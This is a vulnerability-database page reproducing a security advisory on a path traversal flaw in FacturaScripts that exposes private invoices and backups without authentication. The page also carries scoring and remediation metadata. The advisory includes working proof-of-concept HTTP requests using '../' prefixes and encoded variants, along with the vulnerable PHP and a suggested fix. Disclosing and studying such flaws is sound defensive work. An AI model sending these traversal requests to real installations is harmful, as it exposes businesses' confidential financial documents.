CVE-2026-45693

HIGHPre-NVD 7.57.5
EchelonGraph scoreMEDIUM confidence

“—” beside the score: it is equal to the CVSS score beside it.

Score 7.5 from GitHub Security Advisory (severity: HIGH) published 2026-07-14. The CNA's CVSS baseline 7.5; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: the CNA's CVSS, GitHub Security Advisory
7.5EG
EchelonGraph verdictPlan mitigationRemediate within your standard update timelines (the SSVC decision on this page).
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: —CVSS: 7.5Exploit: None knownExposed services: Not assessed

No fix is confirmed yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for the fix.

FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents

Summary

The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a ../ segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (pdf, xlsx, docx, csv, sql, zip, xml, json, xsig, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under MyFiles/Private/ and other non-public subfolders.

The two vulnerable controllers are Core/Controller/Files.php (used by the /Plugins/*, /Core/Assets/*, /Dinamic/Assets/* and /node_modules/* routes) and Core/Controller/Myfiles.php (used by /MyFiles/*). Both share the same root cause: a strpos() / substr() prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.

The /Plugins/* route via Files.php is the cleanest exploit path because Plugins/ is part of every FacturaScripts installation, so no precondition is required. The /MyFiles/* route via Myfiles.php is a second path with the same root cause: when the URL starts with /MyFiles/Public/, the controller exits early and skips the per-file myft token check, which can be combined with ../ to read tokenless files outside Public/.

Tested live on commit de01369 (master, 2026-05-11) and on tag v2026.2, with PHP 8.0.30 on Apache 2.4.56.

Details

Path 1, in Core/Controller/Files.php

Files::__construct concatenates the project folder with the request URL and then runs two safety checks before serving the file:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) { throw new KernelException('FileNotFound', ...); }

if (false === $this->isFolderSafe($url)) { throw new KernelException('UnsafeFolder', $url); }

if (false === $this->isFileSafe($this->filePath)) { throw new KernelException('UnsafeFile', $url); }

isFolderSafe() only inspects the URL string:

public static function isFolderSafe(string $filePath): bool
{
    $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];
    foreach ($safeFolders as $folder) {
        if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {
            return true;
        }
    }
    return false;
}

For a request like /Plugins/../MyFiles/Private/invoice-2026-001.pdf, substr($url, 0, 8) equals /Plugins, so isFolderSafe() returns true. The filesystem layer then resolves the .. segment when is_file() runs, so the actual file opened is /MyFiles/Private/invoice-2026-001.pdf. isFileSafe() only checks the trailing extension, which is pdf and on the allow-list, so the file is served.

Path 2, in Core/Controller/Myfiles.php

The dedicated MyFiles handler resolves the path with urldecode() and reproduces the same prefix-based logic to decide whether the per-file myft token is required:

$this->filePath = Tools::folder() . urldecode($url);

if (false === is_file($this->filePath)) { throw new KernelException('FileNotFound', ...); } if (false === $this->isFileSafe($this->filePath)) { throw new KernelException('UnsafeFile', $url); }

// if the folder is MyFiles/Public, then we don't need to check the token if (strpos($url, '/MyFiles/Public/') === 0) { return; }

$fixedFilePath = substr(urldecode($url), 1); $token = filter_input(INPUT_GET, 'myft'); if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) { throw new KernelException('MyfilesTokenError', $fixedFilePath); }

A request to /MyFiles/Public/../Private/invoice-2026-001.pdf satisfies strpos($url, '/MyFiles/Public/') === 0, so the controller returns early and skips myft token validation. The .. segment is then resolved by is_file() and readfile() against the real filesystem path inside MyFiles/Private/.

This second path is only exploitable when a MyFiles/Public/ directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).

Why this is not the documented "Public folder" behaviour

MyFiles/Public/ is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at MyFiles/Public/... but the file ultimately returned lives in MyFiles/Private/. The same file (MyFiles/Private/invoice-2026-001.pdf) is returned with HTTP 403 (Invalid token) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.

PoC

The PoC uses one sample invoice planted at MyFiles/Private/invoice-2026-001-ACME.pdf (215 bytes) on a fresh install:

%PDF-FAKE-CONTENT for FacturaScripts PoC
INVOICE: 2026-001
CLIENT: ACME Corporation
TAX ID: B-12345678
AMOUNT: EUR 42,000.00
DUE DATE: 2026-06-15
PAID: 2026-05-09
INTERNAL NOTE: confidential customer financial data

Step 1, control. Direct access without a token is blocked:

GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 403 Forbidden
Invalid token.
The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired

Step 2, exploit via /Plugins/*. This is the no-precondition path:

GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 200 OK
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC INVOICE: 2026-001 CLIENT: ACME Corporation TAX ID: B-12345678 AMOUNT: EUR 42,000.00 DUE DATE: 2026-06-15 PAID: 2026-05-09 INTERNAL NOTE: confidential customer financial data

The same file that returned 403 in Step 1 is now returned without authentication. /Core/Assets/* and /Dinamic/Assets/* behave the same way against the same controller; /Plugins/* is used here because the folder is guaranteed to exist.

Step 3, exploit via /MyFiles/Public/*. This path also bypasses the myft token check:

GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1
Host: 127.0.0.1:8088

HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Length: 215
Content-Type: application/pdf

%PDF-FAKE-CONTENT for FacturaScripts PoC ...

A quick check shows that several encoding variants of .. also work: %2e%2e, %2E%2E, .%2e, ///../. The flaw lives in the prefix check, not in any specific Apache normalization.

The file is confirmed present on disk:

Affected request paths

| URL pattern | Controller | Token required | Result | |---|---|---|---| | /MyFiles/Private/invoice.pdf | Myfiles | yes | 403 (control) | | /Plugins/../MyFiles/Private/invoice.pdf | Files | n/a | 200 (leak) | | /Core/Assets/../MyFiles/Private/invoice.pdf | Files | n/a | 200 (leak) | | /Dinamic/Assets/../MyFiles/Private/invoice.pdf | Files | n/a | 200 (leak) | | /MyFiles/Public/../Private/invoice.pdf | Myfiles | bypassed | 200 (leak) |

Impact

In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:

  • Customer and supplier invoices stored under MyFiles/Private/
  • Document attachments uploaded through WidgetFile and DocFilesTrait (MyFiles/)
  • Database backups exported with .sql
  • Cached or temporary business data under MyFiles/Cache/ and MyFiles/Tmp/

.php files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (AH10244 invalid URI path), so the leak is bounded to the application directory tree.

Suggested Fix

Both controllers should resolve the requested path to its canonical form with realpath() and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token check. Example for Files::__construct:

$this->filePath = Tools::folder() . $url;

if (false === is_file($this->filePath)) { throw new KernelException('FileNotFound', ...); }

$realPath = realpath($this->filePath); $base = realpath(Tools::folder()); if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) { throw new KernelException('UnsafeFolder', $url); }

$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public']; $relative = substr($realPath, strlen($base) + 1); $allowed = false; foreach ($safeFolders as $folder) { if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) { $allowed = true; break; } } if (!$allowed) { throw new KernelException('UnsafeFolder', $url); }

The same pattern applies to Myfiles::__construct: compare the canonical resolved path against realpath(Tools::folder() . '/MyFiles/Public') before skipping the myft token check.

Affected Versions

Confirmed on the current master branch (commit de01369) and on the latest tagged release (v2026.2).

CVSS v3
7.5
EG Score
7.5HIGHmedium confidence
EG Risk
34
EG Risk 34/100

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed (value × EchelonGraph’s weight)
Severity75% × 45%
The EG Score, 7.5 of 10.
Exploitation0% × 40%
No KEV listing, EG-KEV tier or EPSS when EchelonGraph scored this CVE.
Automatability0% × 15%
CISA's BOD 26-04 default: no one has published Automatable for this CVE, and CISA treats it as “no” for a CVE not in KEV.
SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).
Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.
Action: No fix is confirmed yet. Restrict network exposure of the affected system or apply the vendor's mitigation within your standard update timelines, and watch the vendor's advisory for the fix.
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).

No fix is confirmed yet. Restrict network exposure of the affected system or apply the vendor's mitigation within your standard update timelines, and watch the vendor's advisory for the fix.

Exploitation none (no CISA value, KEV listing or exploit code on record) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). EchelonGraph holds no SSVC assessment of this CVE from CISA: none of these inputs is from Vulnrichment. EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

July 14, 2026

Last Modified

July 14, 2026

Vendor Advisories for CVE-2026-45693(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
composerfacturascripts/facturascripts—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFix by version rangeDependents
facturascripts/facturascripts2018.03 ... v2026.2 (60 versions)
  • every version through 2026.2: no fix on record
—

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 4× in last 7d / 10× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-10-12 16:04 UTCEG score recompute
  2. 2026-10-11 19:46 UTCEG score recompute
  3. 2026-10-11 17:00 UTCEG score recompute
  4. 2026-10-11 14:26 UTCEG score recompute
  5. 2026-10-01 12:54 UTCEG score recompute
  6. 2026-10-01 12:54 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  7. 2026-09-28 08:58 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  8. 2026-09-24 09:02 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  9. 2026-09-23 03:33 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  10. 2026-09-18 04:52 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  11. 2026-09-14 10:57 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  12. 2026-09-13 23:17 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  13. 2026-09-13 07:41 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  14. 2026-09-12 13:13 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  15. 2026-09-12 01:16 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  16. 2026-09-08 01:13 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  17. 2026-09-06 13:33 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  18. 2026-09-05 21:02 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  19. 2026-08-31 04:43 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  20. 2026-08-30 16:11 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  21. 2026-08-30 04:16 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  22. 2026-08-28 01:53 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  23. 2026-08-27 12:57 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  24. 2026-08-26 23:23 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  25. 2026-08-26 07:32 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
Show 75 more
  1. 2026-08-25 19:09 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  2. 2026-08-25 06:56 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  3. 2026-08-24 19:39 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  4. 2026-08-24 06:47 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  5. 2026-08-23 19:30 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  6. 2026-08-23 08:13 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  7. 2026-08-22 20:52 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  8. 2026-08-22 09:35 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  9. 2026-08-21 22:18 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  10. 2026-08-21 10:50 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  11. 2026-08-20 23:33 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  12. 2026-08-20 12:17 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  13. 2026-08-20 00:30 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  14. 2026-08-19 09:44 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  15. 2026-08-18 22:17 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  16. 2026-08-18 10:19 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  17. 2026-08-17 21:28 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  18. 2026-08-17 09:08 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  19. 2026-08-16 21:52 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  20. 2026-08-16 10:35 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  21. 2026-08-15 23:18 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  22. 2026-08-15 12:02 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  23. 2026-08-15 00:45 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  24. 2026-08-14 13:29 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  25. 2026-08-14 02:12 UTCEG score recompute
  26. 2026-08-14 02:12 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  27. 2026-08-13 14:55 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  28. 2026-08-13 03:39 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  29. 2026-08-12 16:22 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  30. 2026-08-12 05:06 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  31. 2026-08-11 17:49 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  32. 2026-08-11 06:27 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  33. 2026-08-10 19:11 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  34. 2026-08-10 07:55 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  35. 2026-08-09 20:38 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  36. 2026-08-09 09:22 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  37. 2026-08-08 22:06 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  38. 2026-08-08 10:49 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  39. 2026-08-07 23:33 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  40. 2026-08-07 12:16 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  41. 2026-08-07 00:59 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  42. 2026-08-06 13:43 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  43. 2026-08-06 02:26 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  44. 2026-08-05 15:09 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  45. 2026-08-05 00:40 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  46. 2026-08-04 13:10 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  47. 2026-08-04 01:06 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  48. 2026-08-03 13:49 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  49. 2026-08-03 02:28 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  50. 2026-08-02 15:12 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  51. 2026-08-02 03:55 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  52. 2026-08-01 16:39 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  53. 2026-08-01 05:22 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  54. 2026-07-31 18:04 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  55. 2026-07-31 06:47 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  56. 2026-07-30 19:29 UTCEG score recompute
  57. 2026-07-30 19:29 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  58. 2026-07-30 08:12 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  59. 2026-07-29 20:55 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  60. 2026-07-29 07:56 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  61. 2026-07-28 20:19 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  62. 2026-07-28 09:01 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  63. 2026-07-27 21:43 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  64. 2026-07-27 10:17 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  65. 2026-07-26 23:00 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  66. 2026-07-26 11:43 UTCEG score recompute
  67. 2026-07-26 11:43 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  68. 2026-07-23 03:16 UTCEG score recompute
  69. 2026-07-17 02:20 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  70. 2026-07-16 15:03 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  71. 2026-07-16 03:47 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  72. 2026-07-15 16:30 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  73. 2026-07-15 05:13 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5
  74. 2026-07-14 17:56 UTCEG score recompute
  75. 2026-07-14 17:56 UTCGHSA enrichmentGHSA-cv65-7cg8-r623 · GitHub severity HIGH · GitHub CVSS 7.5

Frequently asked(4)

What is CVE-2026-45693?
CVE-2026-45693 is a high-severity vulnerability; its CVE record was published on July 14, 2026. FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents Summary The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an…
When was the CVE record for CVE-2026-45693 published?
The CVE record for CVE-2026-45693 was published on July 14, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of July 14, 2026; the record at its source may have been updated since.
What is the CVSS score of CVE-2026-45693?
CVE-2026-45693 has a CVSS base score of 7.5 (the CNA's own assessment, by github_m; NVD's own analysis pending).
How do I remediate CVE-2026-45693?
No fix for CVE-2026-45693 is confirmed yet. Until one is published, restrict network exposure of the affected system or apply the vendor's mitigation — for example, keep it off the internet or limit it to trusted networks — and watch the vendor's advisory for the fix. The vendor advisories EchelonGraph has for CVE-2026-45693 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45693

Explore →

Is Your Infrastructure Affected by CVE-2026-45693?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.